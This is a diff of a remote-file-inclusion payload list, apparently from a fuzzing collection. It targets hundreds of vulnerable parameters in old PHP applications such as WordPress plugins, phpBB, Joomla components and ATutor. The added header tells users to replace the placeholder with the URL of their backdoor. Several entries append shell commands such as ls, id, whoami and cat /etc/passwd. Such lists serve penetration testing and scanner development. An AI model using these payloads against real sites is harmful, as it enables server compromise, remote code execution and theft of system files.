-/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls%20-al&ABSOLUTE_PATH_STUDIP=XXpathXX?
-/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls%20-al&_PHPLIB[libdir]=XXpathXX?
-/styles.php?toroot=XXpathXX
-/styles/default/global_header.php?installed=23&domain=XXpathXX
-/submit_abuse.php?path_prefix=XXpathXX
-/submit_comment.php?path_prefix=XXpathXX
-/subscp.php?phpbb_root_path=XXpathXX?
-/suite/index.php?pg=XXpathXX?
-/supasite/admin_auth_cookies.php?supa[db_path]=XXpathXX
-/supasite/admin_mods.php?supa[db_path]=XXpathXX
-/supasite/admin_news.php?supa[db_path]=XXpathXX
-/supasite/admin_settings.php?supa[include_path]=XXpathXX
-/supasite/admin_topics.php?supa[db_path]=XXpathXX
-/supasite/admin_users.php?supa[db_path]=XXpathXX
-/supasite/admin_utilities.php?supa[db_path]=XXpathXX
-/supasite/backend_site.php?supa[include_path]=XXpathXX
-/supasite/common_functions.php?supa[db_path]=XXpathXX
-/supasite/site_comment.php?supa[db_path]=XXpathXX
-/supasite/site_news.php?supa[db_path]=XXpathXX
-/support/include/open_form.php?include_dir=XXpathXX?cmd=pwd
-/support/index.php?main=XXpathXX
-/surveys/survey.inc.php?path=XXpathXX
-/sw/lib_comment/comment.php?doc_directory=XXpathXX?
-/sw/lib_find/find.php?doc_directory=XXpathXX?
-/sw/lib_session/session.php?doc_directory=XXpathXX?
-/sw/lib_up_file/file.php?doc_directory=XXpathXX?
-/sw/lib_up_file/find_file.php?doc_directory=XXpathXX?
-/sw/lib_user/find_user.php?doc_directory=XXpathXX?
-/sw/lib_user/user.php?doc_directory=XXpathXX?
-/sys/code/box.inc.php?config["sipssys"]=XXpathXX
-/system/ImageImageMagick.php?glConf[path_system]=XXpathXX?
-/system/_b/contentFiles/gBIndex.php?gBRootPath=XXpathXX?
-/system/admin/include/item_main.php?GLOBALS=XXpathXX
-/system/admin/include/upload_form.php?GLOBALS=XXpathXX
-/system/command/admin.cmd.php?GLOBALS=XXpathXX
-/system/command/download.cmd.php?GLOBALS=XXpathXX
-/system/funcs/xkurl.php?PEARPATH=XXpathXX
-/system/includes/pageheaderdefault.inc.php?_sysSessionPath=XXpathXX
-/system/login.php?site_path=XXpathXX
-/tagit2b/tagmin/delTagUser.php?configpath=XXpathXX?
-/tags.php?BBCodeFile=XXpathXX
-/taxonservice.php?dir=XXpathXX?
-/teatro/pub/pub08_comments.php?basePath=XXpathXX
-/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=XXpathXX?
-/template.php?actionsPage=XXpathXX?
-/template.php?blog_theme=XXpathXX
-/template.php?pagina=XXpathXX
-/template/Noir/index.php?site_path=XXpathXX
-/template/Vert/index.php?pageAll=XXpathXX
-/template/Vert/index.php?site_path=XXpathXX
-/template/barnraiser_01/p_new_password.tpl.php?templatePath=XXpathXX
-/template/default/footer.php?ROOT_PATH=XXpathXX?cmd=ls
-/template/default/test/header.php?ROOT_PATH=XXpathXX?cmd=ls
-/template/gwb/user_bottom.php?config[template_path]=XXpathXX
-/template/purpletech/base_include.php?page=XXpathXX?
-/template/rwb/user_bottom.php?config[template_path]=XXpathXX
-/template_csv.php?rInfo[content]=XXpathXX
-/templates/2blue/bodyTemplate.php?serverPath=XXpathXX?
-/templates/Official/part_userprofile.php?template_path=XXpathXX
-/templates/barrel/template.tpl.php?renderer=XXpathXX
-/templates/barrel/template.tpl.php?renderer=XXpathXX?
-/templates/barry/template.tpl.php?renderer=XXpathXX
-/templates/be2004-2/index.php?mosConfig_absolute_path=XXpathXX
-/templates/datumVonDatumBis.inc.php?root=XXpathXX
-/templates/default/header.inc.php?menu=XXpathXX
-/templates/default/index_logged.php?main_loaded=1&cur_module=XXpathXX
-/templates/default/tpl_message.php?right_file=XXpathXX
-/templates/footer.inc.php?root=XXpathXX
-/templates/header.inc.php?root=XXpathXX
-/templates/mylook/template.tpl.php?renderer=XXpathXX
-/templates/oerdec/template.tpl.php?renderer=XXpathXX
-/templates/pb/language/lang_nl.php?temppath=XXpathXX
-/templates/penguin/template.tpl.php?renderer=XXpathXX
-/templates/sidebar/template.tpl.php?renderer=XXpathXX
-/templates/slashdot/template.tpl.php?renderer=XXpathXX
-/templates/stylesheets.php?root=XXpathXX
-/templates/text-only/template.tpl.php?renderer=XXpathXX
-/templates/tmpl_dfl/scripts/index.php?dir[inc]=XXpathXX
-/theme/breadcrumb.php?rootBase=XXpathXX?
-/theme/default.php?root=XXpathXX
-/theme/format.php?_page_content=XXpathXX?
-/theme/format.php?_page_css=XXpathXX?
-/theme/frames1.php?root=XXpathXX
-/theme/frames1_center.php?root=XXpathXX
-/theme/frames1_left.php?root=XXpathXX
-/theme/frames1_top.php?root=XXpathXX
-/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=XXpathXX
-/theme/settings.php?pfad_z=XXpathXX
-/theme/test1.php?root=XXpathXX
-/theme/test2.php?root=XXpathXX
-/theme/test3.php?root=XXpathXX
-/theme/test4.php?root=XXpathXX
-/theme/test5.php?root=XXpathXX
-/theme/test6.php?root=XXpathXX
-/themes.php?GLOBALS[theme_path]=XXpathXX?
-/themes/blackorange.php?root=XXpathXX
-/themes/container.php?theme_directory=XXpathXX%00
-/themes/default/layouts/standard.php?page_include=XXpathXX?&act=cmd&cmd=whoami&d=/&submit=1&cmd_txt=1
-/themes/default/preview_post_completo.php?dir=XXpathXX
-/themes/header.php?theme_directory=XXpathXX%00
-/themes/ubb/login.php?theme=XXpathXX
-/themes/ubb/login.php?theme=XXpathXX?
-/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=XXpathXX
-/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=XXpathXX
-/timedifference.php?la=XXpathXX
-/toolbar.loudmouth.php?mainframe=XXpathXX
-/tools/update_translations.php?_SESSION[path]=XXpathXX?
-/top.php?laypath=XXpathXX
-/toplist.php?f=toplist_top10&phpbb_root_path=XXpathXX
-/topsites/index.php?page=XXpathXX?&
-/towels-0.1/src/scripture.php?pageHeaderFile=XXpathXX
-/track.php?path=XXpathXX
-/tsep/include/colorswitch.php?tsep_config[absPath]=XXpathXX?
-/ttCMS_path/lib/db/ez_sql.php?lib_path=XXpathXX
-/twebs/modules/misc/usermods.php?ROOT=XXpathXX
-/ubbt.inc.php?GLOBALS[thispath]=XXpathXX?
-/unavailable.php?bibtexrootrel=XXpathXX?
-/unsubs.php?scdir=XXpathXX
-/up.php?my[root]=XXpathXX
-/upload.php?save_path=XXpathXX?
-/upload/admin/frontpage_right.php?loadadminpage=XXpathXX?
-/upload/top.php?maindir=XXpathXX?
-/upload/xax/admin/modules/install_module.php?level=XXpathXX?
-/upload/xax/admin/patch/index.php?level=XXpathXX?
-/upload/xax/ossigeno/admin/install_module.php?level=XXpathXX?
-/upload/xax/ossigeno/admin/uninstall_module.php?level=XXpathXX?
-/upload_local.php?target=XXpathXX?
-/upload_multi.php?target=XXpathXX?
-/urlinn_includes/config.php?dir_ws=XXpathXX?
-/user.php?caselist[bad_file.txt][path]=XXpathXX&command=cat%20/etc/passwd
-/user_language.php?INDM=r3d.w0rm&language_dir=XXpathXX?
-/user_new_2.php?home=XXpathXX
-/usr/extensions/get_calendar.inc.php?root_path=XXpathXX
-/usr/extensions/get_infochannel.inc.php?root_path=XXpathXX?cmd=id;pwd
-/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=XXpathXX
-/utilitaires/gestion_sondage.php?repertoire_visiteur=XXpathXX
-/utils/class_HTTPRetriever.php?libcurlemuinc=XXpathXX
-/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=XXpathXX
-/vCard/admin/define.inc.php?match=XXpathXX?&cmd=id
-/vb/includes/functions.php?classfile=XXpathXX
-/vb/includes/functions_cron.php?nextitem=XXpathXX
-/vb/includes/functions_forumdisplay.php?specialtemplates=XXpathXX
-/vbgsitemap/vbgsitemap-config.php?base=XXpathXX
-/vbgsitemap/vbgsitemap-vbseo.php?base=XXpathXX
-/vedit/editor/edit_htmlarea.php?highlighter=XXpathXX?
-/viart_cms-3.3.2/blocks/block_site_map.php?root_folder_path=XXpathXX?
-/view.php?ariadne=XXpathXX?
-/view.php?id=XXpathXX
-/view_func.php?i=XXpathXX&l=testfile.txt?
-/views/print/printbar.php?views_path=XXpathXX
-/visible_count_inc.php?statitpath=XXpathXX
-/visitor.php?_SERVER[DOCUMENT_ROOT]=XXpathXX??
-/volume.php?config[public_dir]=XXpathXX?
-/vote.php?Madoa=XXpathXX?
-/votebox.php?VoteBoxPath=XXpathXX
-/vp/configure.php?phpbb_root_path=XXpathXX?
-/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=XXpathXX
-/w-agora_path/add_user.php?bn_dir_default=XXpathXX?
-/w-agora_path/create_forum.php?bn_dir_default=XXpathXX?
-/w-agora_path/create_user.php?bn_dir_default=XXpathXX?
-/w-agora_path/delete_notes.php?bn_dir_default=XXpathXX?
-/w-agora_path/delete_user.php?bn_dir_default=XXpathXX?
-/w-agora_path/edit_forum.php?bn_dir_default=XXpathXX?
-/w-agora_path/mail_users.php?bn_dir_default=XXpathXX?
-/w-agora_path/moderate_notes.php?bn_dir_default=XXpathXX?
-/w-agora_path/reorder_forums.php?bn_dir_default=XXpathXX?
-/wamp_dir/setup/yesno.phtml?no_url=XXpathXX?
-/wapchat/src/eng.adCreate.php?sysFileDir=XXpathXX
-/wapchat/src/eng.adCreateSave.php?sysFileDir=XXpathXX
-/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=XXpathXX
-/wapchat/src/eng.createRoom.php?sysFileDir=XXpathXX
-/wapchat/src/eng.forward.php?sysFileDir=XXpathXX
-/wapchat/src/eng.pageLogout.php?sysFileDir=XXpathXX
-/wapchat/src/eng.resultMember.php?sysFileDir=XXpathXX
-/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=XXpathXX
-/wapchat/src/eng.saveNewRoom.php?sysFileDir=XXpathXX
-/wapchat/src/eng.searchMember.php?sysFileDir=XXpathXX
-/wapchat/src/eng.writeMsg.php?sysFileDir=XXpathXX
-/war.php?vwar_root=XXpathXX
-/warn.php?file=XXpathXX
-/watermark.php?GALLERY_BASEDIR=XXpathXX
-/wbxml/WBXML/Decoder.php?base_dir=XXpathXX
-/wbxml/WBXML/Encoder.php?base_dir=XXpathXX
-/web/Administration/Includes/configureText.php?path_prefix=XXpathXX
-/web/Administration/Includes/contentHome.php?path_prefix=XXpathXX
-/web/Administration/Includes/deleteContent.php?path_prefix=XXpathXX
-/web/Administration/Includes/deleteUser.php?path_prefix=XXpathXX
-/web/Administration/Includes/userHome.php?path_prefix=XXpathXX
-/web/BetaBlockModules//Module/Module.php?path_prefix=XXpathXX
-/web/BetaBlockModules/AboutUserModule/AboutUserModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/AddGroupModule/AddGroupModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/AddMessageModule/AddMessageModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/AudiosMediaGalleryModule/AudiosMediaGalleryModule.php?current_blockmodule_pathXXpathXX
-/web/BetaBlockModules/CustomizeUIModule/desktop_image.php?path_prefix=XXpathXX
-/web/BetaBlockModules/EditProfileModule/DynamicProfile.php?path_prefix=XXpathXX
-/web/BetaBlockModules/EditProfileModule/external.php?path_prefix=XXpathXX
-/web/BetaBlockModules/EnableModule/EnableModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/ExternalFeedModule/ExternalFeedModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/FlickrModule/FlickrModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/GroupForumModule/GroupForumModule.php?path_prefixXXpathXX
-/web/BetaBlockModules/GroupForumPermalinkModule/GroupForumPermalinkModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/GroupModerateContentModule/GroupModerateContentModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/GroupModerateUserModule/GroupModerateUserModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/GroupModerationModule/GroupModerationModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/GroupsCategoryModule/GroupsCategoryModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/GroupsDirectoryModule/GroupsDirectoryModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/ImagesMediaGalleryModule/ImagesMediaGalleryModule.php?current_blockmodule_pathXXpathXX
-/web/BetaBlockModules/ImagesModule/ImagesModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/InvitationStatusModule/InvitationStatusModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/LargestGroupsModule/LargestGroupsModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/LinksModule/LinksModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/LoginModule/remoteauth_functions.php?path_prefix=XXpathXX
-/web/BetaBlockModules/LogoModule/LogoModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/MediaFullViewModule/MediaFullViewModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/MediaManagementModule/MediaManagementModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/MembersFacewallModule/MembersFacewallModule.php?current_blockmodule_pathXXpathXX
-/web/BetaBlockModules/MessageModule/MessageModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/ModuleSelectorModule/ModuleSelectorModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/MyGroupsModule/MyGroupsModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/MyLinksModule/MyLinksModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/MyNetworksModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/NetworkAnnouncementModule/NetworkAnnouncementModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/NetworkDefaultControlModule/NetworkDefaultControlModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/NetworkDefaultLinksModule/NetworkDefaultLinksModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/NetworkModerateUserModule/NetworkModerateUserModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/NetworkResultContentModule/NetworkResultContentModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/NetworkResultUserModule/NetworkResultUserModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/NetworksDirectoryModule/NetworksDirectoryModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/NewestGroupsModule/NewestGroupsModule.php?current_blockmodule_pathXXpathXX
-/web/BetaBlockModules/PeopleModule/PeopleModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/PopularTagsModule/PopularTagsModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/PostContentModule/PostContentModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/ProfileFeedModule/ProfileFeedModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/RecentCommentsModule/RecentCommentsModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/RecentPostModule/RecentPostModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/RecentTagsModule/RecentTagsModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/RegisterModule/RegisterModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/SearchGroupsModule/SearchGroupsModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/ShowAnnouncementModule/ShowAnnouncementModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/ShowContentModule/ShowContentModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/TakerATourModule/TakerATourModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/UploadMediaModule/UploadMediaModule.php?current_blockmodule_pathXXpathXX
-/web/BetaBlockModules/UserMessagesModule/UserMessagesModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/UserPhotoModule/UserPhotoModule.php?path_prefix=XXpathXX
-/web/BetaBlockModules/VideosMediaGalleryModule/VideosMediaGalleryModule.php?current_blockmodule_pathXXpathXX
-/web/BetaBlockModules/ViewAllMembersModule/ViewAllMembersModule.php?path_prefix=XXpathXX
-/web/Flickrclient.php?path_prefix=XXpathXX
-/web/help.php?LIBSDIR=XXpathXX
-/web/includes/blogger.php?path_prefix=XXpathXX
-/web/includes/functions/auto_email_notify.php?path_prefix=XXpathXX
-/web/includes/functions/html_generate.php?path_prefix=XXpathXX
-/web/includes/functions/validations.php?path_prefix=XXpathXX
-/web/index.php?LIBSDIR=XXpathXX
-/web/lib/xml/oai/ListRecords.php?xml_dir=XXpathXX
-/web/login.php?LIBSDIR=XXpathXX
-/web/logout.php?LIBSDIR=XXpathXX
-/web/lom.php?ETCDIR=XXpathXX
-/web/network_module_selector.php?path_prefix=XXpathXX
-/web/submit_abuse.php?path_prefix=XXpathXX
-/web/submit_comment.php?path_prefix=XXpathXX
-/webavis/class/class.php?root=XXpathXX?
-/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=XXpathXX
-/webnews/template.php?content_page=XXpathXX?
-/webroot/css.php?CONFIGS=XXpathXX
-/webyep-system/program/lib/WYURL.php?webyep_sIncludePath=XXpathXX
-/webyep-system/programm/webyep.php?webyep_sIncludePath=XXpathXX?
-/window.php?action=XXpathXX
-/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=XXpathXX?
-/work/index.php?g_include=XXpathXX
-/work/module/forum/forum.php?g_include=XXpathXX
-/worldpay_notify.php?mosConfig_absolute_path=XXpathXX
-/wp-cache-phase1.php?plugin=XXpathXX
-/wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=XXpathXX
-/wp-content/plugins/myflash/myflash-button.php?wpPATH=XXpathXX
-/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=XXpathXX
-/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=XXpathXX
-/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=XXpathXX?
-/wsk/wsk.php?wsk=XXpathXX
-/xarg_corner.php?xarg=XXpathXX?
-/xarg_corner_bottom.php?xarg=XXpathXX?
-/xarg_corner_top.php?xarg=XXpathXX?
-/xoopsgallery/init_basic.php?GALLERY_BASEDIR=XXpathXX?&2093085906=1&995617320=2
-/xt_counter.php?server_base_dir=XXpathXX
-/yabbse/Sources/Packages.php?sourcedir=XXpathXX
-/yacs/scripts/update_trailer.php?context[path_to_root]=XXpathXX?
-/yrch/plugins/metasearch/plug.inc.php?path=XXpathXX
-/ytb/cuenta/cuerpo.php?base_archivo=XXpathXX
-/zipndownload.php?PP_PATH=XXpathXX?
-/zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=XXpathXX?
+# Compiled by @RSnake (2010-01-02).
+# Mostly from milw0rm, osvdb.org and elsewhere.
+# Change !INJECT! to the path of your backdoor.
+# Note that you may need to try it against every directory on the target and because of how this was culled you may need to add a question mark to your own !INJECT! URL
+# E.g.: !INJECT! => http://www.example.com/hax.txt?
+
+/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=!INJECT!?
+/123flashchat.php?e107path=!INJECT!
+/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=!INJECT!
+/22_ultimate/templates/header.php?mainpath=!INJECT!
+/22_ultimate/templates/header.php?mainpath=!INJECT!?
+/=!INJECT!
+/?_CONFIG[files][functions_page]=!INJECT!
+/?npage=-1&content_dir=!INJECT!%00&cmd=ls
+/?npage=1&content_dir=!INJECT!%00&cmd=ls
+/?show=!INJECT!?
+/A-Blog/navigation/donation.php?navigation_start=!INJECT!
+/A-Blog/navigation/latestnews.php?navigation_start=!INJECT!?
+/A-Blog/navigation/links.php?navigation_start=!INJECT!?
+/A-Blog/navigation/search.php?navigation_end=!INJECT!?
+/A-Blog/sources/myaccount.php?open_box=!INJECT!?
+/ACGVnews/header.php?PathNews=!INJECT!
+/ATutor/documentation/common/frame_toc.php?section=!INJECT!
+/ATutor/documentation/common/search.php?section=!INJECT!
+/ATutor/documentation/common/vitals.inc.php?req_lang=!INJECT!
+/ATutor/include/classes/module/module.class.php?row[dir_name]=!INJECT!
+/ATutor/include/classes/phpmailer/class.phpmailer.php?lang_path=!INJECT!
+/AdaptCMS_Lite_1.4_2/plugins/rss_importer_functions.php?sitepath=!INJECT!?
+/Administration/Includes/configureText.php?path_prefix=!INJECT!
+/Administration/Includes/contentHome.php?path_prefix=!INJECT!
+/Administration/Includes/deleteContent.php?path_prefix=!INJECT!
+/Administration/Includes/deleteUser.php?path_prefix=!INJECT!
+/Administration/Includes/userHome.php?path_prefix=!INJECT!
+/Agora_PATH//mdweb/admin/inc/organisations/country_insert.php?chemin_appli=!INJECT!?
+/Agora_PATH//mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli=!INJECT!?
+/BE_config.php?_PSL[classdir]=!INJECT!
+/BPNEWS/bn_smrep1.php?bnrep=!INJECT!?&
+/Base/Application.php?pear_dir=!INJECT!
+/Bcwb_PATH/dcontent/default.css.php?root_path_admin=!INJECT!
+/Bcwb_PATH/include/startup.inc.php?root_path_admin=!INJECT!
+/Bcwb_PATH/system/default.css.php?root_path_admin=!INJECT!
+/Beautifier/Core.php?BEAUT_PATH=!INJECT!?
+/BetaBlockModules//Module/Module.php?path_prefix=!INJECT!
+/BetaBlockModules/AboutUserModule/AboutUserModule.php?path_prefix=!INJECT!
+/BetaBlockModules/AddGroupModule/AddGroupModule.php?path_prefix=!INJECT!
+/BetaBlockModules/AddMessageModule/AddMessageModule.php?path_prefix=!INJECT!
+/BetaBlockModules/AudiosMediaGalleryModule/AudiosMediaGalleryModule.php?current_blockmodule_path=!INJECT!
+/BetaBlockModules/CustomizeUIModule/desktop_image.php?path_prefix=!INJECT!
+/BetaBlockModules/EditProfileModule/DynamicProfile.php?path_prefix=!INJECT!
+/BetaBlockModules/EditProfileModule/external.php?path_prefix=!INJECT!
+/BetaBlockModules/EnableModule/EnableModule.php?path_prefix=!INJECT!
+/BetaBlockModules/ExternalFeedModule/ExternalFeedModule.php?path_prefix=!INJECT!
+/BetaBlockModules/FlickrModule/FlickrModule.php?path_prefix=!INJECT!
+/BetaBlockModules/GroupForumModule/GroupForumModule.php?path_prefix=!INJECT!
+/BetaBlockModules/GroupForumPermalinkModule/GroupForumPermalinkModule.php?path_prefix=!INJECT!
+/BetaBlockModules/GroupModerateContentModule/GroupModerateContentModule.php?path_prefix=!INJECT!
+/BetaBlockModules/GroupModerateUserModule/GroupModerateUserModule.php?path_prefix=!INJECT!
+/BetaBlockModules/GroupModerationModule/GroupModerationModule.php?path_prefix=!INJECT!
+/BetaBlockModules/GroupsCategoryModule/GroupsCategoryModule.php?path_prefix=!INJECT!
+/BetaBlockModules/GroupsDirectoryModule/GroupsDirectoryModule.php?path_prefix=!INJECT!
+/BetaBlockModules/ImagesMediaGalleryModule/ImagesMediaGalleryModule.php?current_blockmodule_path=!INJECT!
+/BetaBlockModules/ImagesModule/ImagesModule.php?path_prefix=!INJECT!
+/BetaBlockModules/InvitationStatusModule/InvitationStatusModule.php?path_prefix=!INJECT!
+/BetaBlockModules/LargestGroupsModule/LargestGroupsModule.php?path_prefix=!INJECT!
+/BetaBlockModules/LinksModule/LinksModule.php?path_prefix=!INJECT!
+/BetaBlockModules/LoginModule/remoteauth_functions.php?path_prefix=!INJECT!
+/BetaBlockModules/LogoModule/LogoModule.php?path_prefix=!INJECT!
+/BetaBlockModules/MediaFullViewModule/MediaFullViewModule.php?path_prefix=!INJECT!
+/BetaBlockModules/MediaManagementModule/MediaManagementModule.php?path_prefix=!INJECT!
+/BetaBlockModules/MembersFacewallModule/MembersFacewallModule.php?current_blockmodule_path=!INJECT!
+/BetaBlockModules/MessageModule/MessageModule.php?path_prefix=!INJECT!
+/BetaBlockModules/ModuleSelectorModule/ModuleSelectorModule.php?path_prefix=!INJECT!
+/BetaBlockModules/MyGroupsModule/MyGroupsModule.php?path_prefix=!INJECT!
+/BetaBlockModules/MyLinksModule/MyLinksModule.php?path_prefix=!INJECT!
+/BetaBlockModules/MyNetworksModule.php?path_prefix=!INJECT!
+/BetaBlockModules/NetworkAnnouncementModule/NetworkAnnouncementModule.php?path_prefix=!INJECT!
+/BetaBlockModules/NetworkDefaultControlModule/NetworkDefaultControlModule.php?path_prefix=!INJECT!
+/BetaBlockModules/NetworkDefaultLinksModule/NetworkDefaultLinksModule.php?path_prefix=!INJECT!
+/BetaBlockModules/NetworkModerateUserModule/NetworkModerateUserModule.php?path_prefix=!INJECT!
+/BetaBlockModules/NetworkResultContentModule/NetworkResultContentModule.php?path_prefix=!INJECT!
+/BetaBlockModules/NetworkResultUserModule/NetworkResultUserModule.php?path_prefix=!INJECT!
+/BetaBlockModules/NetworksDirectoryModule/NetworksDirectoryModule.php?path_prefix=!INJECT!
+/BetaBlockModules/NewestGroupsModule/NewestGroupsModule.php?current_blockmodule_path=!INJECT!
+/BetaBlockModules/PeopleModule/PeopleModule.php?path_prefix=!INJECT!
+/BetaBlockModules/PopularTagsModule/PopularTagsModule.php?path_prefix=!INJECT!
+/BetaBlockModules/PostContentModule/PostContentModule.php?path_prefix=!INJECT!
+/BetaBlockModules/ProfileFeedModule/ProfileFeedModule.php?path_prefix=!INJECT!
+/BetaBlockModules/RecentCommentsModule/RecentCommentsModule.php?path_prefix=!INJECT!
+/BetaBlockModules/RecentPostModule/RecentPostModule.php?path_prefix=!INJECT!
+/BetaBlockModules/RecentTagsModule/RecentTagsModule.php?path_prefix=!INJECT!
+/BetaBlockModules/RegisterModule/RegisterModule.php?path_prefix=!INJECT!
+/BetaBlockModules/SearchGroupsModule/SearchGroupsModule.php?path_prefix=!INJECT!
+/BetaBlockModules/ShowAnnouncementModule/ShowAnnouncementModule.php?path_prefix=!INJECT!
+/BetaBlockModules/ShowContentModule/ShowContentModule.php?path_prefix=!INJECT!
+/BetaBlockModules/TakerATourModule/TakerATourModule.php?path_prefix=!INJECT!
+/BetaBlockModules/UploadMediaModule/UploadMediaModule.php?current_blockmodule_path=!INJECT!
+/BetaBlockModules/UserMessagesModule/UserMessagesModule.php?path_prefix=!INJECT!
+/BetaBlockModules/UserPhotoModule/UserPhotoModule.php?path_prefix=!INJECT!
+/BetaBlockModules/VideosMediaGalleryModule/VideosMediaGalleryModule.php?current_blockmodule_path=!INJECT!
+/BetaBlockModules/ViewAllMembersModule/ViewAllMembersModule.php?path_prefix=!INJECT!
+/Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN=!INJECT!?admin
+/BsiliX_path]/files/mbox-action.php3?BSX_LIBDIR=!INJECT!
+/CSLH2_path/txt-db-api/util.php?API_HOME_DIR=!INJECT!?
+/CheckUpload.php?Language=!INJECT!&cmd=ls
+/Contenido_4.8.4/contenido/backend_search.php?contenido_path=!INJECT!?
+/Contenido_4.8.4/contenido/cronjobs/move_articles.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/cronjobs/move_old_stats.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/cronjobs/optimize_database.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/cronjobs/run_newsletter_job.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/cronjobs/send_reminder.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/cronjobs/session_cleanup.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/cronjobs/setfrontenduserstate.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][templates]=!INJECT!?
+/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[templates][right_top_blank]=!INJECT!?
+/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][contenido]=!INJECT!?
+/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][templates]=!INJECT!?
+/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[templates][right_top_blank]=!INJECT!?
+/CoupleDB.php?Parametre=0&DataDirectory=!INJECT!?
+/DFF_PHP_FrameworkAPI-latest/include/DFF_affiliate_client_API.php?DFF_config[dir_include]=!INJECT!
+/DFF_PHP_FrameworkAPI-latest/include/DFF_featured_prdt.func.php?DFF_config[dir_include]=!INJECT!
+/DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_config[dir_include]=!INJECT!
+/DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]=!INJECT!
+/DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]=!INJECT!
+/DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]=!INJECT!
+/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]=!INJECT!
+/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]!INJECT!
+/DON3/applications/don3_requiem.don3app/don3_requiem.php?app_path=!INJECT!
+/DON3/applications/frontpage.don3app/frontpage.php?app_path=!INJECT!?
+/Dir_phNNTP/article-raw.php?file_newsportal=!INJECT!?
+/DynaTracker_v151/action.php?base_path=!INJECT!
+/DynaTracker_v151/includes_handler.php?base_path=!INJECT!
+/Easysite-2.0_path/configuration/browser.php?EASYSITE_BASE=!INJECT!?
+/Ex/modules/threadstop/threadstop.php?exbb[home_path]=!INJECT!?
